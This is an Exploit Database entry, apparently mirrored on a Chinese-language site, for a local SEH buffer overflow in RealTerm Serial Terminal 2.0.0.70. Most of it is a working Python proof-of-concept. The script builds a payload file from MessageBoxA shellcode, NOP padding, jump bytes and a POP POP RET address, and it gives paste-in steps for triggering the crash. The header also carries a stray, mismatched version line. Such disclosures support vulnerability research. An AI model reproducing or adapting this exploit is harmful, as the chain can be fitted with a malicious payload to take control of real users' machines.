RealTerm Serial Terminal 2.0.0.70 – ‘Echo Port’ Buffer Overflow (SEH)

• Exploit Database
• 41 阅读

• 作者： Matteo Malvica
  日期： 2019-02-21
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46441/

• # Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow - (SEH) 
  # Date: 21.02.2019
  # Exploit Author: Matteo Malvica
  # Vendor Homepage: https://realterm.sourceforge.io/
  # Software Link: https://sourceforge.net/projects/realterm/files/ 
  # Version: 2.0.0.70
  # Category: Local
  # Contact: https://twitter.com/matteomalvica
  # Version: CloudMe Sync 1.11.2
  # Tested on: Windows 7 SP1 x64
  # Originail PoC https://www.exploit-db.com/exploits/46391
  
  # 1.- Run the python scriptit will create a new file "carbonara.txt"
  # 2.- Copy the content of the new file 'carbonara.txt' to clipboard
  # 3.- Open realterm.exe 
  # 4.- Go to 'Echo Port' tab
  # 5.- Paste clipboard in 'Port' field
  # 6.- Click on button -> Change
  # 7.- Check 'Echo On' or 
  # 8.- Box!
  
  
  import socket
  import struct
  
  '''
  badchars: 0x20,0x0a
  arwin.exe user32.dll MessageBoxA
  arwin - win32 address resolution program - by steve hanna - v.01
  MessageBoxA is located at 0x747cfdae in user32.dll
  '''
  shellcode = (
  "\x33\xc0"# XOR EAX,EAX
  "\x50"# PUSH EAX=> padding for lpCaption
  "\x68\x7a\x6f\x21\x21"# PUSH "zo!!"
  "\x68\x61\x76\x61\x6e"# PUSH "avan"
  "\x8B\xCC"# MOV ECX,ESP => PTR to lpCaption
  "\x50"# PUSH EAX=> padding for lpText
  "\x68\x6e\x7a\x6f\x21"# PUSH "nzo!"
  "\x68\x61\x76\x61\x21"# PUSH "ava!"
  "\x8B\xD4"# MOV EDX,ESP => PTR to lpText
  "\x50"# PUSH EAX - uType=0x0
  "\x51"# PUSH ECX - lpCaption
  "\x52"# PUSH EDX - lpText
  "\x50"# PUSH EAX - hWnd=0x0
  "\xBE\xae\xfd\x7c\x74"# MOV ESI,USER32.MessageBoxA <<< hardcoded address
  "\xFF\xD6") # CALL ESI
  
  pad1="\x90"*(142-len(shellcode))
  pad2 = "\x42" * 118
  nseh = "\xEB\x80\x90\x90"
  jmp_back = "\xEB\x80\x90\x90"
  short_jmp = "\xEB\x12\x90\x90"
  seh =struct.pack('<L',0x00406e27)# 00406e27# POP POP RET
  nops = "\x90\x90\x90\x90"
  payload = pad1+ shellcode + nops + jmp_back + pad2 + nseh + seh 
  
  
  try:
  f=open("carbonara.txt","w")
  print "[+] Creating %s bytes pasta payload.." %len(payload)
  f.write(payload)
  f.close()
  print "[+] Carbonara created!"
  
  except:
  print "Carbonara cannot be created"